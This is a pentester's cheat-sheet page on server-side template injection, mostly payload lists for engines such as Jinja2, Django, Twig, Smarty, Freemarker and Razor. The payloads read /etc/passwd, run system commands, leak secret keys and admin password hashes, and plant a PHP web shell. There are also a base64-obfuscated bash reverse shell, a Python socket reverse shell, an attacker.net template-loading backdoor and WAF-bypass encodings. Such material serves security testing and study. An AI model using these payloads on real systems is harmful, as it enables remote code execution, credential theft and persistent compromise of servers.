> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/ssti.md).

# SSTI

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## Detection

```
${{<%[%'"}}@{%\.#{<%=
```

```
${{<%[%'"}}%\.
```

```
${{{<%[‘\’}}}
```

Error Message ? => SSTI confirmed

<figure><img src="/files/4HA5PfnK6GYULAbjLjrV" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti>" %}

Fingerprint your template AND create a POC:

{% embed url="<https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756>" %}

### Nuclei Template

<https://github.com/coffinxp/priv8-Nuclei/blob/main/reflection-ssti.yaml>

```yaml
id: reflection-ssti

info:
  name: Reflected SSTI Arithmetic Based
  author: pdteam
  severity: medium
  reference:
    - https://github.com/zaproxy/zap-extensions/blob/2d9898900abe85a47b9fe0ceb85ec39070816b98/addOns/ascanrulesAlpha/src/main/java/org/zaproxy/zap/extension/ascanrulesAlpha/SstiScanRule.java
    - https://github.com/DiogoMRSilva/websitesVulnerableToSSTI#list-of-seversneeds-update
  tags: ssti,dast

variables:
  first: "{{rand_int(1000, 9999)}}"
  second: "{{rand_int(1000, 9999)}}"
  result: "{{to_number(first)*to_number(second)}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    skip-variables-check: true
    payloads:
      ssti:
        - '{{concat("${", "{{first}}*{{second}}", "}")}}'
        - '{{concat("{{", "{{first}}*{{second}}", "}}")}}'
        - '{{concat("<%=", "{{first}}*{{second}}", "%>")}}'
        - '{{concat("{", "{{first}}*{{second}}", "}")}}'
        - '{{concat("{{{", "{{first}}*{{second}}", "}}}")}}'
        - '{{concat("${{", "{{first}}*{{second}}", "}}")}}'
        - '{{concat("#{", "{{first}}*{{second}}", "}")}}'
        - '{{concat("[[", "{{first}}*{{second}}", "]]")}}'
        - '{{concat("{{=", "{{first}}*{{second}}", "}}")}}'
        - '{{concat("[[${", "{{first}}*{{second}}", "}]]")}}'
        - '{{concat("${xyz|", "{{first}}*{{second}}", "}")}}'
        - '{{concat("#set($x=", "{{first}}*{{second}}", ")${x}")}}'
        - '{{concat("@(", "{{first}}*{{second}}", ")")}}'
        - '{{concat("{@", "{{first}}*{{second}}", "}")}}'

    fuzzing:
      - part: query
        type: postfix
        fuzz:
          - "{{ssti}}"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "{{result}}"
# digest: 4a0a00473045022060b24ab805932a9aae5635d76725d92d78d3366f76b103480386f7db2231b750022100cf4e3feff8153a59a9b668bbe6c989c4940074ec6857c5f4f4f920660719143d:922c64590222798bb761d5b6d8e72950
```

## Payloads

```
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
```

```
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()}}
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

{% embed url="<https://github.com/payloadbox/ssti-payloads>" %}

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt>" %}

{% embed url="<https://github.com/coffinxp/payloads/blob/main/ssti.txt>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection>" %}

## Django Templates engine

{% embed url="<https://github.com/Lifars/davdts/tree/main>" %}

### Cross-site scripting

```
{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}
```

### Debug information leak

```
{% debug %}
```

### Leaking app’s Secret Key (assumes CookieStorage being first message storage)

```
{{ messages.storages.0.signer.key }}
```

### Admin Site URL leak

```
{% include 'admin/base.html' %}
```

### Admin username & password hash leak (assumes `admin_log` records exist)

```
{% load log %}{% get_admin_log 10 as log %}{% for e in log %} {{e.user.get_username}} : {{e.user.password}}{% endfor %}
```

### Only username

```
{%25+load+log+%25}{%25+get_admin_log+10+as+log+%25}{%25+for+e+in+log+%25}{{+e.user.username+}}{%25+endfor+%25} 
```

### Only password

```
{%25+load+log+%25}{%25+get_admin_log+10+as+log+%25}{%25+for+e+in+log+%25}{{+e.user.password+}}{%25+endfor+%25} 
```

## Jinja2

```
{% if 'chiv' == 'chiv' %} a {% endif %}
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
{{self.__init__.__globals__.__str__()[1786:1788]}}
{{self._TemplateReference_context.cycler._init_._globals_.os.popen("id").read()}}
## See below for explanation
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init_.__globals__.__str__()[51]+self.__init__.__globals__.str__()[34]).read()}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
```

Index may vary depending on the target. Here index 51 is i and index34 is d == id

```
{{self.__init__.__globals__.str__()[51]+self.__init__._globals__.str__()[34]}}
```

<https://www.youtube.com/watch?v=FVm6wYc1S6A>

{% embed url="<https://hackmd.io/@Chivato/HyWsJ31dI>" %}

```
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
```

{% embed url="<https://podalirius.net/fr/articles/python-vulnerabilities-code-execution-in-jinja-templates/>" %}

```
{{lipsum.__globals__["os"]}}
```

<https://x.com/podalirius_/status/1655970628648697860>

{% embed url="<https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti>" %}

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

{% embed url="<https://ctftime.org/writeup/9570>" %}

{% embed url="<https://ctf.zeyu2001.com/2021/csaw-ctf-qualification-round-2021/ninja>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti>" %}

### Objectwalker

{% embed url="<https://github.com/p0dalirius/objectwalker>" %}

### RCE - Reverse Shell

<pre><code><strong>echo 'bash -i >&#x26; /dev/tcp/LHOST/4444 0>&#x26;1' | base64
</strong></code></pre>

```
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTA4LzQ0NDQgMD4mMQo=${IFS}|base64${IFS}-d|bash').read()}}
```

### WAF Bypass

```
{%25+include+request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep+5")|attr("read")()+%}
```

## Mako

```
${str().join(chr(i)for(i)in[105,100])}
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}
```

## PHP

```php
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```

### Twig

```php
{{["id"]|map("passthru")}}
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

```

### Smarty

```
{chr(105)|cat:chr(100)}
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
```

## Laravel - Blade

```
{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
```

## Java

### Groovy

```
${((char)105).toString()+((char)100).toString()}
${x=new String();for(i in[105,100]){x+=((char)i)}}
${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}
${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}
```

### Freemarker

```
${1?lower_abc}
${27?lower_abc}
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
```

## ASP.NET - Razor

```
@{string x=null;int[]l={119,104,111,97,109,105};foreach(int c in l){x+=((char)c).ToString();};}@x
@System.Diagnostics.Process.Start(_PROGRAM_,_COMMAND_);
```

## Tools

## Go-Recon

***gr-ssti***:

{% embed url="<https://github.com/D3Ext/go-recon?tab=readme-ov-file#installation>" %}

### Tplmap

{% embed url="<https://github.com/epinna/tplmap>" %}

```
tplmap -u https://target.com -p param
```

### SSTImap

{% embed url="<https://github.com/vladko312/SSTImap>" %}

### SSTI-Detector

{% embed url="<https://github.com/faiyazahmad07/SSTI_DETECTOR>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

## Support

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)

## Resources

{% embed url="<https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md>" %}

{% embed url="<https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection>" %}

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection>" %}

{% embed url="<https://portswigger.net/web-security/server-side-template-injection>" %}

{% embed url="<https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/code-execution-via-ssti/>" %}

{% embed url="<https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-server-side-template-injection-ssti>" %}

{% embed url="<https://medium.com/@meryemddalgali/websec-ssti-server-site-template-injection-1a9603caa51e>" %}

{% embed url="<https://www.youtube.com/watch?v=FVm6wYc1S6A>" %}
